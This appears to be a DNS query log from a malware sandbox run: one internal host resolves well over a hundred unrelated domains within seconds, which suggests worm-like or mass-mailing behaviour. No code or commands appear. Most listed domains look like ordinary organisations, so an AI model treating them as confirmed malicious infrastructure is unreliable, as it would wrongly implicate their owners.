Mar 10, 2023 07:56:08.241556883 CET	192.168.2.6	8.8.8.8	0xe092	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.315002918 CET	192.168.2.6	8.8.8.8	0x576a	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.370311975 CET	192.168.2.6	8.8.8.8	0x7f3c	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.372437000 CET	192.168.2.6	8.8.8.8	0x22c8	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.385617971 CET	192.168.2.6	8.8.8.8	0x6295	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.596303940 CET	192.168.2.6	8.8.8.8	0x4a8	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.629831076 CET	192.168.2.6	8.8.8.8	0xce5c	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.633064032 CET	192.168.2.6	8.8.8.8	0xa382	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.655227900 CET	192.168.2.6	8.8.8.8	0x9e07	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.657546043 CET	192.168.2.6	8.8.8.8	0xc60b	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.762449980 CET	192.168.2.6	8.8.8.8	0x9164	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.770596027 CET	192.168.2.6	8.8.8.8	0xbb50	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.772361994 CET	192.168.2.6	8.8.8.8	0xb541	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.774991035 CET	192.168.2.6	8.8.8.8	0xe2e4	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.800411940 CET	192.168.2.6	8.8.8.8	0xd303	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.828068972 CET	192.168.2.6	8.8.8.8	0x1f73	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.121644020 CET	192.168.2.6	8.8.8.8	0xe51b	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.184711933 CET	192.168.2.6	8.8.8.8	0xb432	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.227653027 CET	192.168.2.6	8.8.8.8	0x7401	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.266712904 CET	192.168.2.6	8.8.8.8	0x80cf	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.284955025 CET	192.168.2.6	8.8.8.8	0xea3d	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.296842098 CET	192.168.2.6	8.8.8.8	0xea8	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.315210104 CET	192.168.2.6	8.8.8.8	0xb2a4	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.333630085 CET	192.168.2.6	8.8.8.8	0x7873	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.468847036 CET	192.168.2.6	8.8.8.8	0x5345	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.531900883 CET	192.168.2.6	8.8.8.8	0x2eb3	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.535159111 CET	192.168.2.6	8.8.8.8	0x5426	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.537430048 CET	192.168.2.6	8.8.8.8	0x134a	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.557049036 CET	192.168.2.6	8.8.8.8	0xc711	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.655850887 CET	192.168.2.6	8.8.8.8	0xed37	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.696537018 CET	192.168.2.6	8.8.8.8	0xab8a	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.722656012 CET	192.168.2.6	8.8.8.8	0xde2f	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.728509903 CET	192.168.2.6	8.8.8.8	0xbc2c	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.794867992 CET	192.168.2.6	8.8.8.8	0xb320	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.798892021 CET	192.168.2.6	8.8.8.8	0x343e	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.899285078 CET	192.168.2.6	8.8.8.8	0x9b2d	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.920488119 CET	192.168.2.6	8.8.8.8	0x3704	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.937880039 CET	192.168.2.6	8.8.8.8	0xb65c	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.943356037 CET	192.168.2.6	8.8.8.8	0xfdd4	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.997617960 CET	192.168.2.6	8.8.8.8	0xe63c	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.999833107 CET	192.168.2.6	8.8.8.8	0x9ead	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.000508070 CET	192.168.2.6	8.8.8.8	0x11c4	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.009681940 CET	192.168.2.6	8.8.8.8	0x80db	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.098969936 CET	192.168.2.6	8.8.8.8	0x33d2	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.099041939 CET	192.168.2.6	8.8.8.8	0x5410	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.242795944 CET	192.168.2.6	8.8.8.8	0xe51b	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.370474100 CET	192.168.2.6	8.8.8.8	0x7216	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.376857996 CET	192.168.2.6	8.8.8.8	0x7d92	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.447292089 CET	192.168.2.6	8.8.8.8	0x834	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.448843956 CET	192.168.2.6	8.8.8.8	0xd2ec	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.450509071 CET	192.168.2.6	8.8.8.8	0x3680	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.450560093 CET	192.168.2.6	8.8.8.8	0x5cd1	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.485093117 CET	192.168.2.6	8.8.8.8	0xeadf	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.541980028 CET	192.168.2.6	8.8.8.8	0xc1b3	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.548445940 CET	192.168.2.6	8.8.8.8	0x1960	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.661732912 CET	192.168.2.6	8.8.8.8	0x12c2	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.664457083 CET	192.168.2.6	8.8.8.8	0x8c27	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.664685011 CET	192.168.2.6	8.8.8.8	0xa9b1	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.667870998 CET	192.168.2.6	8.8.8.8	0x1c15	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.669073105 CET	192.168.2.6	8.8.8.8	0x1be3	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.669677973 CET	192.168.2.6	8.8.8.8	0xc5eb	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.858675957 CET	192.168.2.6	8.8.8.8	0x50	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.889384985 CET	192.168.2.6	8.8.8.8	0x2f7b	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.911780119 CET	192.168.2.6	8.8.8.8	0x7692	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.981523037 CET	192.168.2.6	8.8.8.8	0xb326	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.992496014 CET	192.168.2.6	8.8.8.8	0xbeb8	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.030354023 CET	192.168.2.6	8.8.8.8	0x314d	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.057926893 CET	192.168.2.6	8.8.8.8	0x1274	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.078881025 CET	192.168.2.6	8.8.8.8	0xea62	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.164807081 CET	192.168.2.6	8.8.8.8	0x62ef	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.166435003 CET	192.168.2.6	8.8.8.8	0xc8a3	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.168349028 CET	192.168.2.6	8.8.8.8	0x4b86	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.213552952 CET	192.168.2.6	8.8.8.8	0x905d	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.219609976 CET	192.168.2.6	8.8.8.8	0x2867	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.222237110 CET	192.168.2.6	8.8.8.8	0x2d26	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.238847971 CET	192.168.2.6	8.8.8.8	0x59b3	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.278053045 CET	192.168.2.6	8.8.8.8	0x24ab	Standard query (0)	beafin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.330003023 CET	192.168.2.6	8.8.8.8	0x410	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.402153969 CET	192.168.2.6	8.8.8.8	0x4527	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.405852079 CET	192.168.2.6	202.12.27.33	0x83	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:11.435623884 CET	192.168.2.6	8.8.8.8	0x5094	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.437304974 CET	192.168.2.6	8.8.8.8	0x9cc4	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.447149992 CET	192.168.2.6	8.8.8.8	0x65de	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.447767973 CET	192.168.2.6	8.8.8.8	0x7d7e	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.449018002 CET	192.168.2.6	8.8.8.8	0x811a	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.450666904 CET	192.168.2.6	8.8.8.8	0xc261	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.450738907 CET	192.168.2.6	8.8.8.8	0xdb5e	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.451334000 CET	192.168.2.6	8.8.8.8	0x8bfc	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.464987040 CET	192.168.2.6	8.8.8.8	0x6ae6	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.521974087 CET	192.168.2.6	8.8.8.8	0x834	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.536827087 CET	192.168.2.6	8.8.8.8	0x74c1	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.602826118 CET	192.168.2.6	8.8.8.8	0x57f0	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.612196922 CET	192.168.2.6	8.8.8.8	0xdf84	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.642179966 CET	192.168.2.6	8.8.8.8	0x493e	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.651685953 CET	192.168.2.6	8.8.8.8	0xf285	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.728503942 CET	192.168.2.6	8.8.8.8	0x48d4	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.765280008 CET	192.168.2.6	8.8.8.8	0xc4bd	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.768731117 CET	192.168.2.6	8.8.8.8	0xb77	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.794337988 CET	192.168.2.6	8.8.8.8	0xb144	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.805967093 CET	192.168.2.6	8.8.8.8	0x72f5	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.840543032 CET	192.168.2.6	8.8.8.8	0x3d56	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.951879025 CET	192.168.2.6	8.8.8.8	0xd19a	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.970907927 CET	192.168.2.6	198.32.64.12	0x21	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:11.980145931 CET	192.168.2.6	8.8.8.8	0xd1d9	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.038245916 CET	192.168.2.6	8.8.8.8	0x476d	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.089863062 CET	192.168.2.6	8.8.8.8	0x769	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.097368002 CET	192.168.2.6	8.8.8.8	0x305	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.162812948 CET	192.168.2.6	8.8.8.8	0xcfc4	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.163249016 CET	192.168.2.6	8.8.8.8	0x2de5	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.187654018 CET	192.168.2.6	8.8.8.8	0xc56e	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.192902088 CET	192.168.2.6	8.8.8.8	0x3324	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.235503912 CET	192.168.2.6	8.8.8.8	0x4056	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.235706091 CET	192.168.2.6	8.8.8.8	0xb89c	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.319549084 CET	192.168.2.6	8.8.8.8	0x2b3a	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.323154926 CET	192.168.2.6	8.8.8.8	0xf884	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.330440044 CET	192.168.2.6	8.8.8.8	0x808f	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.386780977 CET	192.168.2.6	8.8.8.8	0xfe65	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.387145996 CET	192.168.2.6	8.8.8.8	0xd9bc	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.392101049 CET	192.168.2.6	8.8.8.8	0x8cc3	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.498744011 CET	192.168.2.6	8.8.8.8	0xd934	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.498744011 CET	192.168.2.6	8.8.8.8	0xfce1	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.569092989 CET	192.168.2.6	8.8.8.8	0x4166	Standard query (0)	shteeble.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.597342014 CET	192.168.2.6	8.8.8.8	0xa5c7	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.623492956 CET	192.168.2.6	8.8.8.8	0x4333	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.639678955 CET	192.168.2.6	8.8.8.8	0x8073	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.674561977 CET	192.168.2.6	8.8.8.8	0x14b	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.710077047 CET	192.168.2.6	8.8.8.8	0x7710	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.713855028 CET	192.168.2.6	8.8.8.8	0xd951	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.754313946 CET	192.168.2.6	8.8.8.8	0x18b9	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.766769886 CET	192.168.2.6	8.8.8.8	0xcd8d	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.769876957 CET	192.168.2.6	8.8.8.8	0x385a	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.773777962 CET	192.168.2.6	8.8.8.8	0xe018	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.779611111 CET	192.168.2.6	8.8.8.8	0x3076	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.779611111 CET	192.168.2.6	8.8.8.8	0xa29d	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.786915064 CET	192.168.2.6	8.8.8.8	0xefe8	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.786915064 CET	192.168.2.6	8.8.8.8	0x7559	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.835549116 CET	192.168.2.6	8.8.8.8	0x6564	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.931938887 CET	192.168.2.6	8.8.8.8	0x6b31	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.951849937 CET	192.168.2.6	8.8.8.8	0x1329	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.979362965 CET	192.168.2.6	8.8.8.8	0x74c1	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.009844065 CET	192.168.2.6	8.8.8.8	0x5f35	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.060261965 CET	192.168.2.6	8.8.8.8	0x7807	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.068372965 CET	192.168.2.6	8.8.8.8	0x3b8a	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.070242882 CET	192.168.2.6	8.8.8.8	0xe4d6	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.073276997 CET	192.168.2.6	8.8.8.8	0xd493	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.096940994 CET	192.168.2.6	8.8.8.8	0x9fdb	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.102232933 CET	192.168.2.6	8.8.8.8	0xd360	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.110738039 CET	192.168.2.6	8.8.8.8	0xe788	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.174799919 CET	192.168.2.6	8.8.8.8	0xad9f	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.179425001 CET	192.168.2.6	8.8.8.8	0x130e	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.179425001 CET	192.168.2.6	8.8.8.8	0x417	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.180021048 CET	192.168.2.6	8.8.8.8	0x65df	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.209583998 CET	192.168.2.6	8.8.8.8	0x202e	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.209583998 CET	192.168.2.6	8.8.8.8	0x56eb	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.211080074 CET	192.168.2.6	8.8.8.8	0xb8e	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.211080074 CET	192.168.2.6	8.8.8.8	0xe9cf	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.212187052 CET	192.168.2.6	8.8.8.8	0xdb96	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.218275070 CET	192.168.2.6	8.8.8.8	0xf91f	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.221812963 CET	192.168.2.6	8.8.8.8	0xa4f6	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.231493950 CET	192.168.2.6	8.8.8.8	0xc969	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.241144896 CET	192.168.2.6	8.8.8.8	0xc1e3	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.257929087 CET	192.168.2.6	8.8.8.8	0x4eb0	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.278728962 CET	192.168.2.6	8.8.8.8	0x68f3	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.323524952 CET	192.168.2.6	8.8.8.8	0xc898	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.353255033 CET	192.168.2.6	8.8.8.8	0xb539	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.354346991 CET	192.168.2.6	8.8.8.8	0xc11c	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.358279943 CET	192.168.2.6	8.8.8.8	0x3a36	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.433482885 CET	192.168.2.6	8.8.8.8	0xead6	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.436455011 CET	192.168.2.6	8.8.8.8	0xee3a	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.438425064 CET	192.168.2.6	8.8.8.8	0x7d70	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.444099903 CET	192.168.2.6	8.8.8.8	0x11a1	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.468650103 CET	192.168.2.6	8.8.8.8	0xc008	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.471445084 CET	192.168.2.6	8.8.8.8	0x52a4	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.472275019 CET	192.168.2.6	8.8.8.8	0x7527	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.472409964 CET	192.168.2.6	8.8.8.8	0x4744	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.473054886 CET	192.168.2.6	8.8.8.8	0x828b	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.509283066 CET	192.168.2.6	8.8.8.8	0xf3a7	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.521218061 CET	192.168.2.6	8.8.8.8	0xfe42	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.527961016 CET	192.168.2.6	8.8.8.8	0xbb2a	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.529597044 CET	192.168.2.6	8.8.8.8	0xa2c9	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.530853987 CET	192.168.2.6	8.8.8.8	0x250b	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.530872107 CET	192.168.2.6	8.8.8.8	0x996e	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.531822920 CET	192.168.2.6	8.8.8.8	0x2b9	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.532185078 CET	192.168.2.6	8.8.8.8	0xa206	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.533150911 CET	192.168.2.6	8.8.8.8	0x760d	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.533394098 CET	192.168.2.6	8.8.8.8	0x3052	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.534097910 CET	192.168.2.6	8.8.8.8	0x8742	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.538357973 CET	192.168.2.6	8.8.8.8	0xc3f3	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.573532104 CET	192.168.2.6	8.8.8.8	0xd5df	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.581639051 CET	192.168.2.6	8.8.8.8	0x4555	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.591742039 CET	192.168.2.6	8.8.8.8	0xa2aa	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.612751007 CET	192.168.2.6	8.8.8.8	0xfaaa	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.697145939 CET	192.168.2.6	8.8.8.8	0x68a5	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
